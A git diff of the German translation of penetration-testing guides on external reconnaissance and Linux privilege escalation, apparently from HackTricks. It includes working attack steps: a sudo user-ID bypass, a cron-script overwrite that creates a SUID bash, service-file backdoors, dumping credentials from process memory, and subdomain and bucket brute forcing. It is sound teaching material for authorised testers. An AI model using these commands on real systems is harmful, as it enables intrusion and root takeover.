Suchen Sie auf den Webseiten **Strings, die in verschiedenen Webseiten derselben Organisation geteilt werden könnten**. Der **Copyright-String** könnte ein gutes Beispiel sein. Suchen Sie dann nach diesem String in **Google**, in anderen **Browsern** oder sogar in **Shodan**: `shodan search http.html:"Copyright string"`
Suchen Sie auf den Webseiten **Strings, die über verschiedene Webseiten in derselben Organisation geteilt werden könnten**. Der **Copyright-String** könnte ein gutes Beispiel sein. Suchen Sie dann nach diesem String in **Google**, in anderen **Browsern** oder sogar in **Shodan**: `shodan search http.html:"Copyright string"`
### **CRT Time**
@ -162,7 +161,7 @@ Du kannst eine Webseite wie [https://dmarc.live/info/google.com](https://dmarc.l
Es ist anscheinend üblich, dass Leute Subdomains IPs zuweisen, die zu Cloud-Anbietern gehören, und irgendwann **diese IP-Adresse verlieren, aber vergessen, den DNS-Eintrag zu entfernen**. Daher wirst du einfach durch **das Erstellen einer VM** in einer Cloud (wie Digital Ocean) tatsächlich **einige Subdomains übernehmen**.
[**Dieser Beitrag**](https://kmsec.uk/blog/passive-takeover/) erklärt eine Geschichte darüber und schlägt ein Skript vor, das **eine VM in DigitalOcean erstellt**, **die** **IPv4** der neuen Maschine **erhält** und **in Virustotal nach Subdomain-Einträgen** sucht, die darauf verweisen.
[**Dieser Beitrag**](https://kmsec.uk/blog/passive-takeover/) erklärt eine Geschichte darüber und schlägt ein Skript vor, das **eine VM in DigitalOcean erstellt**, **die IPv4** der neuen Maschine **erhält** und **in Virustotal nach Subdomain-Einträgen** sucht, die darauf verweisen.
### **Andere Möglichkeiten**
@ -176,7 +175,7 @@ Du könntest das **TLS-Zertifikat** der Hauptwebseite abrufen, den **Namen der O
**Assetfinder**
[**Assetfinder**](https://github.com/tomnomnom/assetfinder) ist ein Tool, das nach **Domains sucht, die mit einer Hauptdomain verbunden sind**, sowie nach deren **Subdomains**, ziemlich erstaunlich.
[**Assetfinder**](https://github.com/tomnomnom/assetfinder) ist ein Tool, das nach **Domains sucht, die mit einer Hauptdomain verbunden sind, und deren Subdomains**, ziemlich erstaunlich.
### **Nach Schwachstellen suchen**
@ -185,8 +184,6 @@ Du könntest das **TLS-Zertifikat** der Hauptwebseite abrufen, den **Namen der O
Wenn du eine **Domain mit einer anderen IP** als den bereits in der Asset-Entdeckung gefundenen findest, solltest du einen **grundlegenden Schwachstellenscan** (mit Nessus oder OpenVAS) und einen [**Portscan**](../pentesting-network/#discovering-hosts-from-the-outside) mit **nmap/masscan/shodan** durchführen. Je nachdem, welche Dienste laufen, kannst du in **diesem Buch einige Tricks finden, um sie zu "angreifen"**.\
&#xNAN;_&#x4E;ote, dass manchmal die Domain auf einer IP gehostet wird, die nicht vom Kunden kontrolliert wird, also nicht im Geltungsbereich ist, sei vorsichtig._
## Subdomains
> Wir kennen alle Unternehmen im Geltungsbereich, alle Vermögenswerte jedes Unternehmens und alle Domains, die mit den Unternehmen verbunden sind.
@ -255,7 +252,7 @@ theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferov
```
Es gibt **andere interessante Tools/APIs**, die, auch wenn sie nicht direkt auf das Finden von Subdomains spezialisiert sind, nützlich sein könnten, um Subdomains zu finden, wie:
- [**Crobat**](https://github.com/cgboal/sonarsearch)**:** Verwendet die API [https://sonar.omnisint.io](https://sonar.omnisint.io), um Subdomains zu erhalten
- [**Crobat**](https://github.com/cgboal/sonarsearch)**:** Verwendet die API [https://sonar.omnisint.io](https://sonar.omnisint.io), um Subdomains zu erhalten.
```bash
# Get list of subdomains in output from the API
## This is the API the crobat tool will use
@ -352,7 +349,7 @@ gobuster dns -d mysite.com -t 50 -w subdomains.txt
```
shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
```
- [**puredns**](https://github.com/d3mondev/puredns): Es verwendet ebenfalls `massdns`.
- [**puredns**](https://github.com/d3mondev/puredns): Es verwendet auch `massdns`.
```
puredns bruteforce all.txt domain.com
```
@ -364,12 +361,12 @@ aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com
Nachdem Sie Subdomains mit offenen Quellen und Brute-Forcing gefunden haben, können Sie Variationen der gefundenen Subdomains generieren, um noch mehr zu finden. Mehrere Tools sind dafür nützlich:
- [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** Gegebenen Domains und Subdomains Permutationen generieren.
- [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** Gegebene Domains und Subdomains generieren Permutationen.
```bash
cat subdomains.txt | dnsgen -
```
- [**goaltdns**](https://github.com/subfinder/goaltdns): Gegebenen die Domains und Subdomains, generiere Permutationen.
- Du kannst die goaltdns Permutationen **Wortliste** [**hier**](https://github.com/subfinder/goaltdns/blob/master/words.txt) erhalten.
- [**goaltdns**](https://github.com/subfinder/goaltdns): Gegebenen die Domains und Subdomains, Permutationen generieren.
- Sie können die goaltdns Permutationen **Wortliste** [**hier**](https://github.com/subfinder/goaltdns/blob/master/words.txt) erhalten.
```bash
goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
```
@ -404,11 +401,15 @@ echo www | subzuf facebook.com
```
### **Subdomain-Entdeckungs-Workflow**
Überprüfen Sie diesen Blogbeitrag, den ich über die **Automatisierung der Subdomain-Entdeckung** von einer Domain mit **Trickest-Workflows** geschrieben habe, damit ich nicht manuell eine Reihe von Tools auf meinem Computer starten muss:
Überprüfen Sie diesen Blogbeitrag, den ich über die **Automatisierung der Subdomain-Entdeckung** von einer Domain mit **Trickest-Workflows** geschrieben habe, sodass ich nicht manuell eine Reihe von Tools auf meinem Computer starten muss:
{% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/" %}
{{#ref}}
https://trickest.com/blog/full-subdomain-discovery-using-workflow/
{{#endref}}
{% embed url="https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/" %}
{{#ref}}
https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/
{{#endref}}
### **VHosts / Virtuelle Hosts**
@ -420,7 +421,7 @@ Sie können einige **VHosts in IPs finden, indem Sie** [**HostHunter**](https://
**Brute Force**
Wenn Sie vermuten, dass eine Subdomain auf einem Webserver verborgen sein könnte, könnten Sie versuchen, sie brute zu forcen:
Wenn Sie vermuten, dass eine Subdomain auf einem Webserver verborgen sein könnte, könnten Sie versuchen, sie zu brute-forcen:
```bash
ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com"
@ -446,7 +447,7 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http:
### **Buckets Brute Force**
Während Sie nach **Subdomains** suchen, achten Sie darauf, ob sie auf irgendeine Art von **Bucket** zeigen, und in diesem Fall [**überprüfen Sie die Berechtigungen**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
Außerdem, da Sie zu diesem Zeitpunkt alle Domains im Scope kennen, versuchen Sie, [**mögliche Bucket-Namen zu brute-forcen und die Berechtigungen zu überprüfen**](../../network-services-pentesting/pentesting-web/buckets/).
Außerdem, da Sie zu diesem Zeitpunkt alle Domains im Geltungsbereich kennen, versuchen Sie, [**mögliche Bucket-Namen zu brute-forcen und die Berechtigungen zu überprüfen**](../../network-services-pentesting/pentesting-web/buckets/).
### **Monitorisierung**
@ -458,7 +459,7 @@ Sie können **überwachen**, ob **neue Subdomains** einer Domain erstellt werden
Wenn die **Subdomain** auf einen **S3-Bucket** zeigt, [**überprüfen Sie die Berechtigungen**](../../network-services-pentesting/pentesting-web/buckets/).
Wenn Sie eine **Subdomain mit einer anderen IP** als den bereits in der Asset-Entdeckung gefundenen finden, sollten Sie einen **grundlegenden Schwachstellenscan** (mit Nessus oder OpenVAS) und einen [**Portscan**](../pentesting-network/#discovering-hosts-from-the-outside) mit **nmap/masscan/shodan** durchführen. Je nachdem, welche Dienste ausgeführt werden, können Sie in **diesem Buch einige Tricks finden, um sie zu "angreifen"**.\
&#xNAN;_&#x4E;ote, dass die Subdomain manchmal auf einer IP gehostet wird, die nicht vom Kunden kontrolliert wird, sodass sie nicht im Scope ist. Seien Sie vorsichtig._
&#xNAN;_&#x4E;ote, dass die Subdomain manchmal auf einer IP gehostet wird, die nicht vom Kunden kontrolliert wird, sodass sie nicht im Geltungsbereich liegt. Seien Sie vorsichtig._
## IPs
@ -479,13 +480,13 @@ Sie können auch nach Domains suchen, die auf eine bestimmte IP-Adresse zeigen,
## Webserver-Jagd
> Wir haben alle Unternehmen und ihre Assets gefunden und kennen IP-Bereiche, Domains und Subdomains im Scope. Es ist Zeit, nach Webservern zu suchen.
> Wir haben alle Unternehmen und deren Assets gefunden und kennen IP-Bereiche, Domains und Subdomains im Geltungsbereich. Es ist Zeit, nach Webservern zu suchen.
In den vorherigen Schritten haben Sie wahrscheinlich bereits einige **Recon der entdeckten IPs und Domains** durchgeführt, sodass Sie **bereits alle möglichen Webserver gefunden haben**. Wenn nicht, werden wir jetzt einige **schnelle Tricks zur Suche nach Webservern** im Scope sehen.
In den vorherigen Schritten haben Sie wahrscheinlich bereits einige **Recon der entdeckten IPs und Domains** durchgeführt, sodass Sie **bereits alle möglichen Webserver gefunden haben**. Wenn nicht, werden wir jetzt einige **schnelle Tricks zur Suche nach Webservern** im Geltungsbereich sehen.
Bitte beachten Sie, dass dies **auf die Entdeckung von Webanwendungen** ausgerichtet ist, sodass Sie auch **den Schwachstellenscan** und **Portscan** durchführen sollten (**wenn im Scope erlaubt**).
Bitte beachten Sie, dass dies **auf die Entdeckung von Webanwendungen** ausgerichtet sein wird, sodass Sie auch **den Schwachstellenscan** und **Portscan** durchführen sollten (**wenn im Geltungsbereich erlaubt**).
Eine **schnelle Methode**, um **offene Ports** im Zusammenhang mit **Web**-Servern zu entdecken, finden Sie [**hier mit masscan**](../pentesting-network/#http-port-discovery).\
Eine **schnelle Methode**, um **offene Ports** im Zusammenhang mit **Web**-Servern zu entdecken, ist [**masscan** hier zu finden](../pentesting-network/#http-port-discovery).\
Ein weiteres benutzerfreundliches Tool zur Suche nach Webservern ist [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) und [**httpx**](https://github.com/projectdiscovery/httpx). Sie geben einfach eine Liste von Domains ein, und es wird versuchen, eine Verbindung zu Port 80 (http) und 443 (https) herzustellen. Zusätzlich können Sie angeben, dass andere Ports ausprobiert werden sollen:
```bash
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
@ -493,7 +494,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
```
### **Screenshots**
Jetzt, da Sie **alle Webserver** im Geltungsbereich (unter den **IPs** des Unternehmens und allen **Domains** und **Subdomains**) entdeckt haben, wissen Sie wahrscheinlich **nicht, wo Sie anfangen sollen**. Lassen Sie uns das einfach machen und beginnen Sie einfach damit, Screenshots von allen zu machen. Schon durch **einen Blick** auf die **Hauptseite** können Sie **seltsame** Endpunkte finden, die eher **anfällig** für **Schwachstellen** sind.
Jetzt, da Sie **alle Webserver** im Geltungsbereich (unter den **IPs** des Unternehmens und allen **Domains** und **Subdomains**) entdeckt haben, wissen Sie wahrscheinlich **nicht, wo Sie anfangen sollen**. Lassen Sie uns das einfach machen und beginnen Sie einfach damit, Screenshots von allen zu machen. Nur durch **einen Blick** auf die **Hauptseite** können Sie **seltsame** Endpunkte finden, die eher **anfällig** für **Schwachstellen** sind.
Um die vorgeschlagene Idee umzusetzen, können Sie [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) oder [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.**
@ -513,7 +514,7 @@ Dann sollten Sie mit diesen Wörtern **Permutationen** generieren (siehe [**Seco
Mit den resultierenden Wortlisten könnten Sie Tools wie [**cloud_enum**](https://github.com/initstring/cloud_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **oder** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.**
Denken Sie daran, dass Sie bei der Suche nach Cloud-Ressourcen **mehr als nur Buckets in AWS** suchen sollten.
Denken Sie daran, dass Sie bei der Suche nach Cloud-Ressourcen **nach mehr als nur Buckets in AWS suchen sollten**.
### **Auf der Suche nach Schwachstellen**
@ -549,7 +550,7 @@ Credential Leaks stehen im Zusammenhang mit Hacks von Unternehmen, bei denen **s
### Github Leaks
Anmeldeinformationen und APIs könnten in den **öffentlichen Repositories** des **Unternehmens** oder der **Benutzer**, die für dieses Github-Unternehmen arbeiten, geleakt worden sein.\
Anmeldeinformationen und APIs könnten in den **öffentlichen Repositories** des **Unternehmens** oder der **Benutzer**, die für dieses Github-Unternehmen arbeiten, geleakt werden.\
Sie können das **Tool** [**Leakos**](https://github.com/carlospolop/Leakos) verwenden, um alle **öffentlichen Repos** einer **Organisation** und ihrer **Entwickler** herunterzuladen und [**gitleaks**](https://github.com/zricethezav/gitleaks) automatisch darüber auszuführen.
**Leakos** kann auch verwendet werden, um **gitleaks** gegen alle **Text-URLs**, die ihm übergeben werden, auszuführen, da manchmal **Webseiten auch Geheimnisse enthalten**.
@ -564,7 +565,7 @@ github-leaked-secrets.md
### Pastes Leaks
Manchmal veröffentlichen Angreifer oder einfach Mitarbeiter **Unternehmensinhalte auf einer Paste-Seite**. Dies könnte **sensible Informationen** enthalten oder auch nicht, aber es ist sehr interessant, danach zu suchen.\
Manchmal werden Angreifer oder einfach Mitarbeiter **Unternehmensinhalte auf einer Paste-Seite veröffentlichen**. Dies könnte **sensible Informationen** enthalten oder auch nicht, aber es ist sehr interessant, danach zu suchen.\
Sie können das Tool [**Pastos**](https://github.com/carlospolop/Pastos) verwenden, um gleichzeitig in mehr als 80 Paste-Seiten zu suchen.
### Google Dorks
@ -604,7 +605,7 @@ Ich möchte auch einen besonderen Hinweis auf den Abschnitt [**Web Automated Sca
Also haben Sie bereits:
1. Alle **Unternehmen** im Geltungsbereich gefunden
2. Alle **Ressourcen** gefunden, die zu den Unternehmen gehören (und einige Schwachstellenscans durchgeführt, wenn im Geltungsbereich)
2. Alle **Assets** gefunden, die zu den Unternehmen gehören (und einige Schwachstellenscans durchgeführt, wenn im Geltungsbereich)
3. Alle **Domains** gefunden, die zu den Unternehmen gehören
4. Alle **Subdomains** der Domains gefunden (gibt es eine Subdomain-Übernahme?)
5. Alle **IPs** (von und **nicht von CDNs**) im Geltungsbereich gefunden.

110
src/linux-hardening/privilege-escalation/README.md
View File

@ -6,7 +6,7 @@
### OS-Info
Lass uns beginnen, einige Kenntnisse über das laufende OS zu gewinnen.
Lass uns beginnen, einige Kenntnisse über das laufende Betriebssystem zu gewinnen.
```bash
(cat /proc/version || uname -a ) 2>/dev/null
lsb_release -a 2>/dev/null # old, not by default on many systems
@ -45,11 +45,11 @@ Tools, die bei der Suche nach Kernel-Exploits helfen könnten, sind:
[linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\
[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (ausführen IM Opfer, überprüft nur Exploits für Kernel 2.x)
Immer **die Kernel-Version in Google suchen**, vielleicht ist Ihre Kernel-Version in einem Kernel-Exploit angegeben und dann sind Sie sich sicher, dass dieser Exploit gültig ist.
Immer **die Kernel-Version in Google suchen**, vielleicht ist Ihre Kernel-Version in einem bestimmten Kernel-Exploit angegeben und dann sind Sie sich sicher, dass dieser Exploit gültig ist.
### CVE-2016-5195 (DirtyCow)
Linux Privilegieneskalation - Linux Kernel <= 3.19.0-73.8
Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8
```bash
# make dirtycow stable
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
@ -59,7 +59,7 @@ https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c
```
### Sudo-Version
Basierend auf den anfälligen sudo-Versionen, die in:
Basierend auf den anfälligen sudo-Versionen, die erscheinen in:
```bash
searchsploit sudo
```
@ -75,7 +75,7 @@ sudo -u#-1 /bin/bash
```
### Dmesg-Signaturüberprüfung fehlgeschlagen
Überprüfen Sie die **smasher2 box von HTB** für ein **Beispiel**, wie diese Schwachstelle ausgenutzt werden könnte.
Überprüfen Sie die **smasher2 box of HTB** für ein **Beispiel**, wie diese Schwachstelle ausgenutzt werden könnte.
```bash
dmesg 2>/dev/null | grep "signature"
```
@ -140,7 +140,7 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc
```
## Nützliche Software
Zähle nützliche Binaries auf
Zählen Sie nützliche Binaries auf
```bash
which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null
```
@ -158,7 +158,7 @@ rpm -qa #Centos
```
Wenn Sie SSH-Zugriff auf die Maschine haben, können Sie auch **openVAS** verwenden, um nach veralteter und anfälliger Software zu suchen, die auf der Maschine installiert ist.
> [!NOTE] > _Beachten Sie, dass diese Befehle viele Informationen anzeigen, die größtenteils nutzlos sind. Daher wird empfohlen, einige Anwendungen wie OpenVAS oder ähnliche zu verwenden, die überprüfen, ob eine installierte Softwareversion anfällig für bekannte Exploits ist._
> [!NOTE] > _Beachten Sie, dass diese Befehle viele Informationen anzeigen, die größtenteils nutzlos sein werden. Daher wird empfohlen, einige Anwendungen wie OpenVAS oder ähnliche zu verwenden, die überprüfen, ob eine installierte Softwareversion anfällig für bekannte Exploits ist._
## Prozesse
@ -168,17 +168,17 @@ ps aux
ps -ef
top -n 1
```
Immer nach möglichen [**electron/cef/chromium debuggers**] suchen, die laufen, da Sie diese möglicherweise missbrauchen können, um Privilegien zu eskalieren. **Linpeas** erkennt diese, indem es den `--inspect` Parameter in der Befehlszeile des Prozesses überprüft.\
Überprüfen Sie immer mögliche [**electron/cef/chromium debuggers**], die ausgeführt werden, da Sie diese möglicherweise missbrauchen können, um Privilegien zu eskalieren](electron-cef-chromium-debugger-abuse.md). **Linpeas** erkennt diese, indem es den `--inspect`-Parameter in der Befehlszeile des Prozesses überprüft.\
Überprüfen Sie auch **Ihre Berechtigungen über die Binärdateien der Prozesse**, vielleicht können Sie jemandes Dateien überschreiben.
### Prozessüberwachung
Sie können Tools wie [**pspy**](https://github.com/DominicBreuker/pspy) verwenden, um Prozesse zu überwachen. Dies kann sehr nützlich sein, um anfällige Prozesse zu identifizieren, die häufig ausgeführt werden oder wenn eine Reihe von Anforderungen erfüllt ist.
Sie können Tools wie [**pspy**](https://github.com/DominicBreuker/pspy) verwenden, um Prozesse zu überwachen. Dies kann sehr nützlich sein, um anfällige Prozesse zu identifizieren, die häufig ausgeführt werden oder wenn eine Reihe von Anforderungen erfüllt sind.
### Prozessspeicher
Einige Dienste eines Servers speichern **Anmeldeinformationen im Klartext im Speicher**.\
Normalerweise benötigen Sie **Root-Rechte**, um den Speicher von Prozessen zu lesen, die anderen Benutzern gehören, daher ist dies normalerweise nützlicher, wenn Sie bereits Root sind und mehr Anmeldeinformationen entdecken möchten.\
Normalerweise benötigen Sie **Root-Rechte**, um den Speicher von Prozessen zu lesen, die anderen Benutzern gehören, daher ist dies normalerweise nützlicher, wenn Sie bereits Root sind und weitere Anmeldeinformationen entdecken möchten.\
Denken Sie jedoch daran, dass **Sie als regulärer Benutzer den Speicher der Prozesse, die Sie besitzen, lesen können**.
> [!WARNING]
@ -188,8 +188,8 @@ Denken Sie jedoch daran, dass **Sie als regulärer Benutzer den Speicher der Pro
>
> - **kernel.yama.ptrace_scope = 0**: Alle Prozesse können debuggt werden, solange sie die gleiche UID haben. Dies ist die klassische Art, wie ptracing funktionierte.
> - **kernel.yama.ptrace_scope = 1**: Nur ein übergeordneter Prozess kann debuggt werden.
> - **kernel.yama.ptrace_scope = 2**: Nur Admin kann ptrace verwenden, da es die CAP_SYS_PTRACE Fähigkeit erfordert.
> - **kernel.yama.ptrace_scope = 3**: Keine Prozesse dürfen mit ptrace verfolgt werden. Ein Neustart ist erforderlich, um das ptracing wieder zu aktivieren, sobald es festgelegt ist.
> - **kernel.yama.ptrace_scope = 2**: Nur Admin kann ptrace verwenden, da es die CAP_SYS_PTRACE-Berechtigung erfordert.
> - **kernel.yama.ptrace_scope = 3**: Es dürfen keine Prozesse mit ptrace verfolgt werden. Nach der Einstellung ist ein Neustart erforderlich, um das ptracing erneut zu aktivieren.
#### GDB
@ -276,7 +276,7 @@ Um den Speicher eines Prozesses zu dumpen, können Sie verwenden:
#### Manual example
Wenn Sie feststellen, dass der Authenticator-Prozess läuft:
Wenn Sie feststellen, dass der Authentifizierungsprozess läuft:
```bash
ps -ef | grep "authenticator"
root 2027 2025 0 11:46 ? 00:00:00 authenticator
@ -315,7 +315,7 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
```
## Geplante/Cron-Jobs
Überprüfen Sie, ob ein geplanter Job anfällig ist. Vielleicht können Sie einen Vorteil aus einem Skript ziehen, das von root ausgeführt wird (Wildcard-Schwachstelle? Kann Dateien ändern, die root verwendet? Symlinks verwenden? Bestimmte Dateien im Verzeichnis erstellen, das root verwendet?).
Überprüfen Sie, ob ein geplanter Job anfällig ist. Vielleicht können Sie einen Vorteil aus einem Skript ziehen, das von root ausgeführt wird (Wildcard-Schwachstelle? Können Dateien geändert werden, die root verwendet? Symlinks verwenden? Bestimmte Dateien im Verzeichnis erstellen, das root verwendet?).
```bash
crontab -l
ls -al /etc/cron* /etc/at*
@ -348,9 +348,9 @@ Lesen Sie die folgende Seite für weitere Tricks zur Ausnutzung von Wildcards:
wildcards-spare-tricks.md
{{#endref}}
### Cron-Skript-Überschreibung und Symlink
### Cron-Skript Überschreibung und Symlink
Wenn Sie **ein Cron-Skript** ändern können, das von root ausgeführt wird, können Sie sehr einfach eine Shell erhalten:
Wenn Sie **ein Cron-Skript ändern können**, das von root ausgeführt wird, können Sie sehr einfach eine Shell erhalten:
```bash
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
#Wait until it is executed
@ -381,11 +381,11 @@ Es ist möglich, einen Cron-Job **ein Wagenrücklaufzeichen nach einem Kommentar
### Schreibbare _.service_ Dateien
Überprüfen Sie, ob Sie eine `.service`-Datei schreiben können. Wenn ja, **könnten Sie sie ändern**, sodass sie Ihre **Hintertür ausführt**, wenn der Dienst **gestartet**, **neu gestartet** oder **gestoppt** wird (vielleicht müssen Sie warten, bis die Maschine neu gestartet wird).\
Erstellen Sie beispielsweise Ihre Hintertür innerhalb der .service-Datei mit **`ExecStart=/tmp/script.sh`**
Erstellen Sie beispielsweise Ihre Hintertür innerhalb der .service-Datei mit **`ExecStart=/tmp/script.sh`**.
### Schreibbare Dienst-Binärdateien
Beachten Sie, dass Sie, wenn Sie **Schreibberechtigungen für von Diensten ausgeführte Binärdateien** haben, diese durch Hintertüren ändern können, sodass beim erneuten Ausführen der Dienste die Hintertüren ausgeführt werden.
Beachten Sie, dass Sie, wenn Sie **Schreibberechtigungen für von Diensten ausgeführte Binärdateien** haben, diese durch Hintertüren ändern können, sodass die Hintertüren ausgeführt werden, wenn die Dienste erneut ausgeführt werden.
### systemd PATH - Relative Pfade
@ -399,7 +399,7 @@ ExecStart=faraday-server
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"
```
Dann erstellen Sie ein **ausführbares** Programm mit dem **gleichen Namen wie der relative Pfad-Binärdatei** im systemd PATH-Ordner, in den Sie schreiben können, und wenn der Dienst aufgefordert wird, die verwundbare Aktion (**Start**, **Stop**, **Reload**) auszuführen, wird Ihr **Backdoor ausgeführt** (nicht privilegierte Benutzer können normalerweise keine Dienste starten/stoppen, aber überprüfen Sie, ob Sie `sudo -l` verwenden können).
Dann erstellen Sie ein **ausführbares** Programm mit dem **gleichen Namen wie der relative Pfad-Binärdatei** im systemd PATH-Ordner, in den Sie schreiben können, und wenn der Dienst aufgefordert wird, die verwundbare Aktion (**Start**, **Stop**, **Reload**) auszuführen, wird Ihr **Backdoor ausgeführt** (nicht privilegierte Benutzer können normalerweise keine Dienste starten/stoppen, überprüfen Sie jedoch, ob Sie `sudo -l` verwenden können).
**Erfahren Sie mehr über Dienste mit `man systemd.service`.**
@ -421,7 +421,7 @@ In der Dokumentation können Sie lesen, was die Einheit ist:
> Die Einheit, die aktiviert werden soll, wenn dieser Timer abläuft. Das Argument ist ein Einheitsname, dessen Suffix nicht ".timer" ist. Wenn nicht angegeben, wird dieser Wert standardmäßig auf einen Dienst gesetzt, der denselben Namen wie die Timer-Einheit hat, mit Ausnahme des Suffixes. (Siehe oben.) Es wird empfohlen, dass der aktivierte Einheitsname und der Einheitsname der Timer-Einheit identisch benannt sind, mit Ausnahme des Suffixes.
Daher müssten Sie, um diese Berechtigung auszunutzen:
Um diese Berechtigung auszunutzen, müssten Sie daher:
- Eine systemd-Einheit (wie eine `.service`) finden, die **eine beschreibbare Binärdatei ausführt**
- Eine systemd-Einheit finden, die **einen relativen Pfad ausführt** und über **schreibbare Berechtigungen** über den **systemd PATH** verfügt (um diese ausführbare Datei zu impersonifizieren)
@ -439,17 +439,17 @@ Beachten Sie, dass der **Timer** durch das Erstellen eines Symlinks zu ihm in `/
## Sockets
Unix-Domain-Sockets (UDS) ermöglichen die **Prozesskommunikation** auf denselben oder verschiedenen Maschinen innerhalb von Client-Server-Modellen. Sie nutzen standardmäßige Unix-Deskriptor-Dateien für die intercomputerliche Kommunikation und werden über `.socket`-Dateien eingerichtet.
Unix-Domain-Sockets (UDS) ermöglichen die **Prozesskommunikation** auf denselben oder verschiedenen Maschinen innerhalb von Client-Server-Modellen. Sie nutzen standardmäßige Unix-Descriptor-Dateien für die intercomputerliche Kommunikation und werden über `.socket`-Dateien eingerichtet.
Sockets können mit `.socket`-Dateien konfiguriert werden.
**Erfahren Sie mehr über Sockets mit `man systemd.socket`.** In dieser Datei können mehrere interessante Parameter konfiguriert werden:
- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Diese Optionen sind unterschiedlich, aber eine Zusammenfassung wird verwendet, um **anzuzeigen, wo es auf den Socket hören wird** (der Pfad der AF_UNIX-Socket-Datei, die IPv4/6 und/oder Portnummer, auf die gehört werden soll, usw.)
- `Accept`: Nimmt ein boolesches Argument. Wenn **wahr**, wird eine **Service-Instanz für jede eingehende Verbindung erzeugt** und nur der Verbindungs-Socket wird an sie übergeben. Wenn **falsch**, werden alle hörenden Sockets selbst an die gestartete Service-Einheit **übergeben**, und es wird nur eine Service-Einheit für alle Verbindungen erzeugt. Dieser Wert wird für Datagram-Sockets und FIFOs ignoriert, bei denen eine einzelne Service-Einheit bedingungslos den gesamten eingehenden Verkehr verarbeitet. **Standardmäßig auf falsch.** Aus Leistungsgründen wird empfohlen, neue Daemons nur so zu schreiben, dass sie für `Accept=no` geeignet sind.
- `Accept`: Nimmt ein boolesches Argument. Wenn **wahr**, wird für jede eingehende Verbindung eine **Service-Instanz erzeugt** und nur der Verbindungs-Socket wird an sie übergeben. Wenn **falsch**, werden alle hörenden Sockets selbst an die gestartete Service-Einheit **übergeben**, und es wird nur eine Service-Einheit für alle Verbindungen erzeugt. Dieser Wert wird für Datagram-Sockets und FIFOs ignoriert, bei denen eine einzelne Service-Einheit bedingungslos den gesamten eingehenden Verkehr verarbeitet. **Standardmäßig auf falsch.** Aus Leistungsgründen wird empfohlen, neue Daemons nur so zu schreiben, dass sie für `Accept=no` geeignet sind.
- `ExecStartPre`, `ExecStartPost`: Nimmt eine oder mehrere Befehlszeilen, die **vor** oder **nach** dem Erstellen und Binden der hörenden **Sockets**/FIFOs **ausgeführt** werden. Das erste Token der Befehlszeile muss ein absoluter Dateiname sein, gefolgt von Argumenten für den Prozess.
- `ExecStopPre`, `ExecStopPost`: Zusätzliche **Befehle**, die **vor** oder **nach** dem Schließen und Entfernen der hörenden **Sockets**/FIFOs **ausgeführt** werden.
- `Service`: Gibt den Namen der **Service**-Einheit an, die **bei eingehendem Verkehr aktiviert** werden soll. Diese Einstellung ist nur für Sockets mit Accept=no zulässig. Sie wird standardmäßig auf den Service gesetzt, der denselben Namen wie der Socket trägt (mit dem ersetzten Suffix). In den meisten Fällen sollte es nicht notwendig sein, diese Option zu verwenden.
- `Service`: Gibt den Namen der **Service**-Einheit an, die bei **eingehendem Verkehr** **aktiviert** werden soll. Diese Einstellung ist nur für Sockets mit Accept=no zulässig. Sie wird standardmäßig auf den Service gesetzt, der denselben Namen wie der Socket trägt (mit dem ersetzten Suffix). In den meisten Fällen sollte es nicht notwendig sein, diese Option zu verwenden.
### Schreibbare .socket-Dateien
@ -458,7 +458,7 @@ Wenn Sie eine **schreibbare** `.socket`-Datei finden, können Sie am Anfang des
### Schreibbare Sockets
Wenn Sie **irgendeinen schreibbaren Socket** identifizieren (_jetzt sprechen wir über Unix-Sockets und nicht über die Konfigurations-.socket-Dateien_), dann **können Sie mit diesem Socket kommunizieren** und möglicherweise eine Schwachstelle ausnutzen.
Wenn Sie **irgendeinen schreibbaren Socket** **identifizieren**, (_jetzt sprechen wir über Unix-Sockets und nicht über die Konfigurations-.socket-Dateien_), dann **können Sie mit diesem Socket kommunizieren** und möglicherweise eine Schwachstelle ausnutzen.
### Unix-Sockets auflisten
```bash
@ -481,7 +481,7 @@ socket-command-injection.md
### HTTP Sockets
